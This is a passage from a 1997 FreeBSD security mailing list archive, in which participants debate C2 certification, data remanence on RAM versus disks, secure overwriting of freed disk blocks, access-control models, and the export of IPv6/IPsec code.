accessable to you) or zero-filled; > > I can't think of a way (off the top of my head) to make this not true. > >There are no incidences in which pages are returned to you with previous >random cruft left in them? > >And besides, zero-filling memory isn't sufficient, it has to be >overwritten a number of times to make sure now residual information can >be obtained. These standards date back to core and even mercury-wire >memory. Yes, I've actually worked with computers that feature *both* in >my career. ;^) "Sanitizing" the memory we use today would ONLY be required of permanent storage mediums (only magnetic types come to mind.. though this probably applies to the optical-rewritable stuff too). The RAM in our systems would not require this and therefore would be an absolute waste of CPU. The RAM we use consists of either capacitors (dynamic) or transistors (static), both of which lose their data entirely and instantly upon loss of power, not to mention that once you flip a bit, theres no way in hell to tell its previous state, even while power is still applied. (unlike magnetic mediums, where they use some kind of electronic black-magic or sorcery to figure out the last 10 give-or-take 5 writes to a single transition cell... I think IBM did this, didn't they?). The point is, if someone stole your SIMMs out of your BOX to try and steal data from them, they're out of luck.. If they steal what you THINK is a totally blank hard drive or floppy disk that you previously wrote sensitive data to, think again. This is why it is standard policy in some places for drives that went south to not just be thrown away, but completely destroyed with a sledge-hammer. :-) --- Chris Dillon --- cdillon@tri-lakes.net --- Powered by FreeBSD, the best free OS on the planet ---- (http://www.freebsd.org) From owner-freebsd-security Tue Oct 14 22:05:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA16454 for security-outgoing; Tue, 14 Oct 1997 22:05:01 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA16425 for ; Tue, 14 Oct 1997 22:04:50 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id HAA16107 for ; Wed, 15 Oct 1997 07:04:44 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.6/brasil-1.2) with UUCP id GAA02552 for freebsd-security@FreeBSD.ORG; Wed, 15 Oct 1997 06:36:53 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.7/keltia-2.11/nospam) id DAA15568; Wed, 15 Oct 1997 03:13:56 +0200 (CEST) (envelope-from roberto) Message-ID: <19971015031355.47885@keltia.freenix.fr> Date: Wed, 15 Oct 1997 03:13:55 +0200 From: Ollivier Robert To: freebsd-security@FreeBSD.ORG Subject: Re: IPv6 sources w/out export restriction References: <19970924075951.46946@keltia.freenix.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.84 In-Reply-To: ; from Antal Rutz on Tue, Oct 14, 1997 at 01:44:57PM +0200 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3728 AMD-K6 MMX @ 208 MHz Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Antal Rutz: > Unfortunately they work with whole replacement files not with diffs. It is not a real problem if you have the CVS tree. Run the shipped script to move all -new files into their proper places and run "cvs diff". > It even can't be compiled under 2.2-stable... Hmmm, interesting. As soon as I get some time, I'll try to merge 2.2-stable changes. Françis will make a new version as soon as he gets his 2.2.5 CD anyway. -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #36: Sat Oct 4 19:58:34 CEST 1997 From owner-freebsd-security Tue Oct 14 22:51:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA19356 for security-outgoing; Tue, 14 Oct 1997 22:51:51 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from coal.nis.newscorp.com (mxa.newscorp.com [206.15.105.135]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA19313 for ; Tue, 14 Oct 1997 22:50:16 -0700 (PDT) (envelope-from ben@multivac.narcissus.net) Received: from multivac.narcissus.net (ts2port68.port.net [207.38.248.196]) by coal.nis.newscorp.com (News Corp SMTP GW 1.1) with SMTP id BAA00557; Wed, 15 Oct 1997 01:49:41 -0400 (EDT) Received: from localhost by multivac.narcissus.net (NX5.67e/NX3.0S) id AA00463; Wed, 15 Oct 97 01:42:03 -0400 Date: Wed, 15 Oct 1997 01:42:02 -0400 (GMT-0400) From: Snob Art Genre Reply-To: benedict@echonyc.com To: Chris Dillon Cc: Wes Peters , security@FreeBSD.ORG, Terry Lambert Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Chris Dillon wrote: > The point is, if someone stole your SIMMs out of your BOX to try and steal > data from them, they're out of luck.. If they steal what you THINK is a > totally blank hard drive or floppy disk that you previously wrote > sensitive data to, think again. This is why it is standard policy in some > places for drives that went south to not just be thrown away, but > completely destroyed with a sledge-hammer. :-) Or a very powerful electromagnet. > --- Chris Dillon > --- cdillon@tri-lakes.net > --- Powered by FreeBSD, the best free OS on the planet > ---- (http://www.freebsd.org) Ben "You have your mind on computers, it seems." From owner-freebsd-security Tue Oct 14 23:43:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA22353 for security-outgoing; Tue, 14 Oct 1997 23:43:15 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA22335 for ; Tue, 14 Oct 1997 23:43:08 -0700 (PDT) (envelope-from narvi@haldjas.folklore.ee) Received: from haldjas.folklore.ee (haldjas.folklore.ee [172.17.2.1] (may be forged)) by haldjas.folklore.ee (8.8.6/8.8.4) with SMTP id JAA12109; Wed, 15 Oct 1997 09:43:00 +0300 (EEST) Date: Wed, 15 Oct 1997 09:42:59 +0300 (EEST) From: Narvi To: benedict@echonyc.com cc: security@FreeBSD.ORG, Terry Lambert Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 Oct 1997, Snob Art Genre wrote: > On Tue, 14 Oct 1997, Chris Dillon wrote: > > > > The point is, if someone stole your SIMMs out of your BOX to try and steal > > data from them, they're out of luck.. If they steal what you THINK is a > > totally blank hard drive or floppy disk that you previously wrote > > sensitive data to, think again. This is why it is standard policy in some > > places for drives that went south to not just be thrown away, but > > completely destroyed with a sledge-hammer. :-) > Or in other words - C2 or not, we are going to need a modified ffs that properly overwrites the freed (via unlink, truncate or other means) storage on disk anyways? > > > --- Chris Dillon > > --- cdillon@tri-lakes.net > > --- Powered by FreeBSD, the best free OS on the planet > > ---- (http://www.freebsd.org) > > There is no love, no good, no happiness and no future - all these are just illusions. From owner-freebsd-security Wed Oct 15 04:56:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA02388 for security-outgoing; Wed, 15 Oct 1997 04:56:17 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from monoid.cs.tcd.ie (monoid.cs.tcd.ie [134.226.38.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA02372 for ; Wed, 15 Oct 1997 04:56:13 -0700 (PDT) (envelope-from careilly@monoid.cs.tcd.ie) Received: from monoid.cs.tcd.ie (localhost.my.domain [127.0.0.1]) by monoid.cs.tcd.ie (8.8.5/8.8.5) with ESMTP id MAA20965; Wed, 15 Oct 1997 12:37:36 +0100 (IST) Message-Id: <199710151137.MAA20965@monoid.cs.tcd.ie> To: dkelly@hiwaay.net cc: security@freebsd.org Subject: Re: C2 Trusted FreeBSD? X-Address: Department of Computer Science, Trinity College, Dublin 2, Ireland. X-Phone: +353-(0)1-6081321 In-reply-to: Your message dated Tuesday at 21:02. MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <20960.876915455.1@monoid.cs.tcd.ie> Date: Wed, 15 Oct 1997 12:37:36 +0100 From: Colman Reilly Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk SGI also *claims* to meet C2 with only Discressionary Access Control, in other words, "plain old Unix user and groups." Note emphasis on "claims", as they developed Trusted Irix for B1 or thereabouts and were somehow prevented from having more than one system under test. And never submitted a system for C2 testing. So they provide a white paper detailing how plain old Irix with the addition of the Trusted Irix auditing system meets the intent of C2. This has been Good Enough to use plain Irix with audit trails at work. Think it would have been good enough if it had been a free OS crowd writing the paper and not SGI? Colman From owner-freebsd-security Wed Oct 15 04:56:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA02414 for security-outgoing; Wed, 15 Oct 1997 04:56:24 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from monoid.cs.tcd.ie (monoid.cs.tcd.ie [134.226.38.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA02407 for ; Wed, 15 Oct 1997 04:56:21 -0700 (PDT) (envelope-from careilly@monoid.cs.tcd.ie) Received: from monoid.cs.tcd.ie (localhost.my.domain [127.0.0.1]) by monoid.cs.tcd.ie (8.8.5/8.8.5) with ESMTP id MAA20954; Wed, 15 Oct 1997 12:37:07 +0100 (IST) Message-Id: <199710151137.MAA20954@monoid.cs.tcd.ie> To: "Christopher G. Petrilli" cc: security@freebsd.org Subject: Re: C2 Trusted FreeBSD? (and what do we want anyway?) X-Address: Department of Computer Science, Trinity College, Dublin 2, Ireland. X-Phone: +353-(0)1-6081321 In-reply-to: Message from "Christopher G. Petrilli" dated Tuesday at 21:56. MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <20949.876915426.1@monoid.cs.tcd.ie> Date: Wed, 15 Oct 1997 12:37:06 +0100 From: Colman Reilly Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 Oct 1997, Mike Smith wrote: Security is an all-encompassing thing, not electornic, not physical. And without verified architecture, ther eis no "proof" that the only way to get access to the storage location is via physical access. Remember, that's why it costs a lot of money to build verified systems, one has to build a boolean algebra description of the system that is provable, rather than just "good enough." Heh. Note that even A1 requirements for verification (or European E6) fall far short of verification. They boil down to having a formal model of wht you're trying to do and a semi-formal demonstratioin that the code matches the model. While things like Van Eck devices can be used for real-time access, hence the TEMPEST and ZONE restrictions on various foreign installations (TEMPEST is no longer mandetory for US classified, and ZONE is optional in many cases), these do not deal with residual data. My issue was that residual data can be read via various methods. Not from RAM under the conditions we cre about. If they've got your RAM you're probalby already well screwed. I believe that it is totally acceptable to do a single write over RAM, but that disk storage SHOULD be dealth with seperately with an appropriate pattern. This is a good idea, but watch the Linux people scream at our performance then. :-) The pattern is designed to stabilize the magnetic properties (remmeber, no single magnetic domain is totally independent of the ones around it) by exercising them in a specific order. This is hardly paranoia, but a provable physical property. Why do you think you can recover data off of an erased disk? :-) This is assuming some physical organisation of the disk I assume? Now, this discussion all brings to mind more basic question. Let's pretend, just for the moment that we thought an assured high-level of security was a good idea. Let's also pretend that we don't care about actual certification - we're unlikely to ever achieve certification if only because we fail the administrative requirements as far as I can see ... lot's of very anal non-functional requirements that are appropriate if your source code is secret, but inapplicable if your source code is widely available. Now, in that situation, what security claims would we like to make? What model of security beyond what we have is appropriate? I like the ideas of projects, security levels and mandatory access control. My favourite use for it would be to place the web server and all it's minions in one project and everything sensitive somewhere else. Apply controls as appropriate, and I'm much happier a compromise of my web server isn't going to get my password file or anything useful like that. I also like ACL's, under some suitable model. Incidentially, I'm probably capable of modelling the behaviours of proposed ACL structure fairly rapidly, so we can play with policies and models and see what happens without actually writing any real code. Abstract prototypes are fun. I'd also like the sort of control's discussed for sockets previously. This would remove so much of the requirement for root that servers have that it would be highly worthwhile. Of course, we should apply ACL's to that too. This would be part of extending explicit controls to all objects rather than just files as is currently the case. Of course, we should meet C2 anyway, and hope someone certifies it free of charge and effort for us. :-) On a side note, I was suggesting to Mike Smith that it might be worthwhile including a configuration sanity checker in the juliet configuration server he's working on. (Mike, my thoughts on that have changed a bit - I'll e-mail privately later.) This would be a nice selling point for the OS. Colman [My second rant this week. Must be the Category Theory that's doing it to me.] From owner-freebsd-security Wed Oct 15 05:59:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA10581 for security-outgoing; Wed, 15 Oct 1997 05:59:37 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA10536 for ; Wed, 15 Oct 1997 05:59:27 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt2-21.HiWAAY.net [208.147.148.21]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id HAA07649; Wed, 15 Oct 1997 07:59:13 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id HAA23976; Wed, 15 Oct 1997 07:59:11 -0500 (CDT) Message-Id: <199710151259.HAA23976@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: Colman Reilly cc: dkelly@hiwaay.net, security@freebsd.org From: dkelly@hiwaay.net Subject: Re: C2 Trusted FreeBSD? In-reply-to: Message from Colman Reilly of "Wed, 15 Oct 1997 12:37:36 BST." <199710151137.MAA20965@monoid.cs.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 15 Oct 1997 07:59:09 -0500 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > SGI also *claims* to meet C2 with only Discressionary Access Control, in > other words, "plain old Unix user and groups." Note emphasis on "claims", > as they developed Trusted Irix for B1 or thereabouts and were somehow > prevented from having more than one system under test. And never submitted > a system for C2 testing. So they provide a white paper detailing how plain > old Irix with the addition of the Trusted Irix auditing system meets the > intent of C2. This has been Good Enough to use plain Irix with audit trails > at work. > Think it would have been good enough if it had been a free OS crowd writing > the paper and not SGI? It all depends on who your approving authority is. We've worked hard to establish a good relationship with ours. He respects our judgment. And availability of source code is no small plus in this business. One of their first concerns is to prevent a security violation. Next is to detect the violation. And once detected, the ability to analyze it and prevent it from happening again. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-security Wed Oct 15 15:08:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA11387 for security-outgoing; Wed, 15 Oct 1997 15:08:45 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from stt3.com (root@stt3.com [198.107.49.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA11369 for ; Wed, 15 Oct 1997 15:08:39 -0700 (PDT) (envelope-from beattie@stt3.com) Received: from durin(really [192.168.0.88]) by stt3.com via sendmail with smtp id for ; Wed, 15 Oct 1997 15:07:39 -0700 (PDT) (Smail-3.2 1996-Jul-4 #1 built 1997-Mar-5) Date: Wed, 15 Oct 1997 15:07:38 -0700 (PDT) From: Brian Beattie X-Sender: beattie@durin To: Narvi cc: benedict@echonyc.com, security@FreeBSD.ORG, Terry Lambert Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 Oct 1997, Narvi wrote: > > On Wed, 15 Oct 1997, Snob Art Genre wrote: > > > On Tue, 14 Oct 1997, Chris Dillon wrote: > > > > > > > The point is, if someone stole your SIMMs out of your BOX to try and steal > > > data from them, they're out of luck.. If they steal what you THINK is a > > > totally blank hard drive or floppy disk that you previously wrote > > > sensitive data to, think again. This is why it is standard policy in some > > > places for drives that went south to not just be thrown away, but > > > completely destroyed with a sledge-hammer. :-) > > > > Or in other words - C2 or not, we are going to need a modified ffs that > properly overwrites the freed (via unlink, truncate or other means) > storage on disk anyways? > You only need this if you do not have physical security. If you do not have physicial security, you do not have security. Overwriting freed disk blocks is not needed at B3, nor do I think at A1. In truly secure environments disks, never leave. In slightly less secure environments, there are utilities to overwrite all the bits so a disk can be removed from the secure environment. Overwritting freed resources as a standard procedure is never needed. From owner-freebsd-security Wed Oct 15 18:15:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA23859 for security-outgoing; Wed, 15 Oct 1997 18:15:36 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from shell.futuresouth.com (shell.futuresouth.com [207.141.254.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA23854 for ; Wed, 15 Oct 1997 18:15:32 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [207.141.254.21]) by shell.futuresouth.com (8.8.5/8.8.5) with SMTP id UAA17424; Wed, 15 Oct 1997 20:15:10 -0500 (CDT) Date: Wed, 15 Oct 1997 20:15:10 -0500 (CDT) From: "Matthew D. Fuller" To: Colman Reilly cc: "Christopher G. Petrilli" , security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? (and what do we want anyway?) In-Reply-To: <199710151137.MAA20954@monoid.cs.tcd.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 Oct 1997, Colman Reilly wrote: > I believe that it is totally acceptable > to do a single write over RAM, but that disk storage SHOULD be dealth with > seperately with an appropriate pattern. > This is a good idea, but watch the Linux people scream at our performance > then. :-) I'm not too sure of the low level code on this, but shouldn't it be possible to set some compile-time option for the code, or a kernel option, or even an rc.* option, that would enable the 'secure' disk over-writes, and leave it diabled by default? Then, we'd keep out performance, but have the option to have security too? Prob have to be a compile-time option somewhere, but someone who actually knows the source can jump in and give me 50 reasons it can't be done. *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * "The only reason I'm burning my candle at both ends, is * | that I haven't figured out how to light the middle yet."| * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* From owner-freebsd-security Wed Oct 15 19:26:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA27062 for security-outgoing; Wed, 15 Oct 1997 19:26:54 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from bob.tri-lakes.net ([207.3.81.6]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id TAA27054 for ; Wed, 15 Oct 1997 19:26:47 -0700 (PDT) (envelope-from cdillon@tri-lakes.net) Received: from [207.3.81.149] by bob.tri-lakes.net (NTMail 3.02.13) with ESMTP id na301379 for ; Wed, 15 Oct 1997 21:26:37 -0500 Message-ID: X-Mailer: XFMail 1.1 [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 15 Oct 1997 21:22:46 -0000 (GMT) From: Chris Dillon To: Narvi Subject: Re: C2 Trusted FreeBSD? Cc: Terry Lambert , security@FreeBSD.ORG, benedict@echonyc.com Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 15-Oct-97 Narvi wrote: > >On Wed, 15 Oct 1997, Snob Art Genre wrote: > >> On Tue, 14 Oct 1997, Chris Dillon wrote: >> >> >> > The point is, if someone stole your SIMMs out of your BOX to try and >steal >> > data from them, they're out of luck.. If they steal what you THINK is >a >> > totally blank hard drive or floppy disk that you previously wrote >> > sensitive data to, think again. This is why it is standard policy in >some >> > places for drives that went south to not just be thrown away, but >> > completely destroyed with a sledge-hammer. :-) >> > >Or in other words - C2 or not, we are going to need a modified ffs that >properly overwrites the freed (via unlink, truncate or other means) >storage on disk anyways? Not my area of expertise exactly, but from what I gather, yes. This would eat tremendous amounts of precious I/O, unless I suppose it was done at idle times, but that might defeat the purpose of it. --- Chris Dillon --- cdillon@tri-lakes.net --- Powered by FreeBSD, the best free OS on the planet ---- (http://www.freebsd.org) From owner-freebsd-security Thu Oct 16 18:11:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA07271 for security-outgoing; Thu, 16 Oct 1997 18:11:51 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA07266 for ; Thu, 16 Oct 1997 18:11:47 -0700 (PDT) (envelope-from karpen@ocean.campus.luth.se) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id DAA00724; Fri, 17 Oct 1997 03:17:30 +0200 (CEST) From: Mikael Karpberg Message-Id: <199710170117.DAA00724@ocean.campus.luth.se> Subject: Re: IPv6 sources w/out export restriction In-Reply-To: <22473.876848870@coconut.itojun.org> from "itojun@itojun.org" at "Oct 15, 97 02:07:50 am" To: itojun@itojun.org Date: Fri, 17 Oct 1997 03:17:30 +0200 (CEST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to itojun@itojun.org: > For more information about WIDE's implementation, > see http://www.v6.wide.ad.jp/. (or ask me :-P) > Ours include IPsec, and (at this moment) there's no legal restriction > on crypto-export in Japan. > We are trying hard to make a public release soon. Maybe make a port for FreeBSD, so that those who want to try IPV6 can get it into their system easilly, without FreeBSD having to include the source "officially"? /Mikael From owner-freebsd-security Thu Oct 16 18:16:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA07536 for security-outgoing; Thu, 16 Oct 1997 18:16:46 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from coconut.itojun.org (root@coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA07524 for ; Thu, 16 Oct 1997 18:16:39 -0700 (PDT) (envelope-from itojun@itojun.org) From: itojun@itojun.org Received: from localhost (itojun@localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.8.5/3.6Wbeta6) with ESMTP id KAA21778; Fri, 17 Oct 1997 10:16:16 +0900 (JST) To: Mikael Karpberg cc: freebsd-security@FreeBSD.ORG In-reply-to: karpen's message of Fri, 17 Oct 1997 03:17:30 +0200. <199710170117.DAA00724@ocean.campus.luth.se> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IPv6 sources w/out export restriction Date: Fri, 17 Oct 1997 10:16:16 +0900 Message-ID: <21774.877050976@coconut.itojun.org> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> For more information about WIDE's implementation, >> see http://www.v6.wide.ad.jp/. (or ask me :-P) >> Ours include IPsec, and (at this moment) there's no legal restriction >> on crypto-export in Japan. >> We are trying hard to make a public release soon. >Maybe make a port for FreeBSD, so that those who want to try IPV6 can >get it into their system easilly, without FreeBSD having to include the >source "officially"? FreeBSD port that attempts do kernel patch? someday i'll try. currently, we don't redistribute (to beta testers) patched FreeBSD source code. we distibute kernel diff, and patched several userland code such as ifconfig. itojun From owner-freebsd-security Fri Oct 17 11:02:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA26371 for security-outgoing; Fri, 17 Oct 1997 11:02:23 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.5.84]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA26360 for ; Fri, 17 Oct 1997 11:02:15 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from daemon@localhost) by smtp03.primenet.com (8.8.7/8.8.7) id LAA10124; Fri, 17 Oct 1997 11:02:02 -0700 (MST) Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp03.primenet.com, id smtpd010107; Fri Oct 17 11:01:56 1997 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id LAA15510; Fri, 17 Oct 1997 11:00:35 -0700 (MST) From: Terry Lambert Message-Id: <199710171800.LAA15510@usr06.primenet.com> Subject: Re: C2 Trusted FreeBSD? To: haskin@ptway.com (Brian Haskin) Date: Fri, 17 Oct 1997 18:00:35 +0000 (GMT) Cc: mike@smith.net.au, freebsd-security@freebsd.org, softweyr@xmission.com, tlambert@primenet.com In-Reply-To: <344420F8.E4B912C7@ptway.com> from "Brian Haskin" at Oct 14, 97 09:48:40 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I believe that Mr. Peters is confusing the standard for erasing > something that has been written to disk with this. Although you can do > the same with ram (as far as recovering previously stored information) I > don't think that they make you write over it a hundred time for each > malloc free sequence. I think he was more paranoid about RAM backed by disk -- swap, in other words. I can see where you must treat freed swap pages as if it were freed disk space, including directional hysteresis based pattern erasures. I am much less concerned with things like flash cards; the IBM patent cited does not really relate to smart cards this way, since there is no hysteresis. If there is a quantum effect that is somehow measurable beyond normal background temperature fluctuations, I would think it would only apply in supercooled environmnents: like those in which you can use SQUIDs and MASERs. That said, you'd at least need to zero persistent RAM... and if you can't distinguish it, then the other poster is right: you'd need to zero all pages befor you freed them for reallocation. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-security Fri Oct 17 11:17:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA27577 for security-outgoing; Fri, 17 Oct 1997 11:17:36 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.5.85]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA27570 for ; Fri, 17 Oct 1997 11:17:33 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.8.7/8.8.7) id LAA00238; Fri, 17 Oct 1997 11:17:19 -0700 (MST) Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp04.primenet.com, id smtpd000235; Fri Oct 17 11:17:13 1997 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id LAA16458; Fri, 17 Oct 1997 11:17:10 -0700 (MST) From: Terry Lambert Message-Id: <199710171817.LAA16458@usr06.primenet.com> Subject: Re: C2 Trusted FreeBSD? To: cdillon@tri-lakes.net (Chris Dillon) Date: Fri, 17 Oct 1997 18:17:10 +0000 (GMT) Cc: narvi@haldjas.folklore.ee, tlambert@primenet.com, security@FreeBSD.ORG, benedict@echonyc.com In-Reply-To: from "Chris Dillon" at Oct 15, 97 09:22:46 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >Or in other words - C2 or not, we are going to need a modified ffs that > >properly overwrites the freed (via unlink, truncate or other means) > >storage on disk anyways? > > Not my area of expertise exactly, but from what I gather, yes. This would > eat tremendous amounts of precious I/O, unless I suppose it was done at > idle times, but that might defeat the purpose of it. This should be done on a block by block basis, and could be done in a stacking layer on top of a variable granularity block store. This assumes that the bottom end of the VFS (the VM interface) is ever standardized between FS's (right now each local media FS has OS specific VM code), and that stacking is fixed. I've been seriously looking at variable granularity block stores for several (6) years now, with an eye towards supporting concurrent cluster, extent, and record based filing, all in one implementation; sort of a meta-FS implementation. It has implications for things like attribution, directory hierarchy imposition, access control lists, trustee rights, etc.. In truth, it's my "holy grail", as far as FS technology is concerned, and it's the end goal of all the FS architecture changes I've been pushing (basically, to simply enable me to do the necessary research, without compromising the ability of other people to also do their own thing -- it takes a big frame to be able to cut it down to fram any picture). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-security Fri Oct 17 18:17:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA20214 for security-outgoing; Fri, 17 Oct 1997 18:17:27 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA20209 for ; Fri, 17 Oct 1997 18:17:22 -0700 (PDT) (envelope-from karpen@ocean.campus.luth.se) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id DAA00915; Sat, 18 Oct 1997 03:23:21 +0200 (CEST) From: Mikael Karpberg Message-Id: <199710180123.DAA00915@ocean.campus.luth.se> Subject: Re: IPv6 sources w/out export restriction In-Reply-To: <21774.877050976@coconut.itojun.org> from "itojun@itojun.org" at "Oct 17, 97 10:16:16 am" To: itojun@itojun.org Date: Sat, 18 Oct 1997 03:23:21 +0200 (CEST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII 